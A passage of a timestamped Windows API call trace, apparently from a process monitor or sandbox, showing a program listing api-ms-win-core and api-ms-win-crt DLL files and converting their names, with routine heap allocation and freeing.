RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.986] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xd3c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.986] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd3c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.986] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xd3c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.986] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.986] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.986] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.987] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xd3c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.987] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xd3c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.987] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.987] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.987] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xd3c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.988] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xd3c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.988] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xd3c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.988] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.988] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e950 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.988] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.989] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.989] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.989] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e950) returned 1 [0193.989] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3e8c8) returned 1 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3e8c8 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xd3c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x3c48e0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0193.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xd3c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0193.989] FindNextFileW (in: hFindFile=0x3cfeb0, lpFindFileData=0x19ffa24 | out: lpFindFileData=0x19ffa24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, 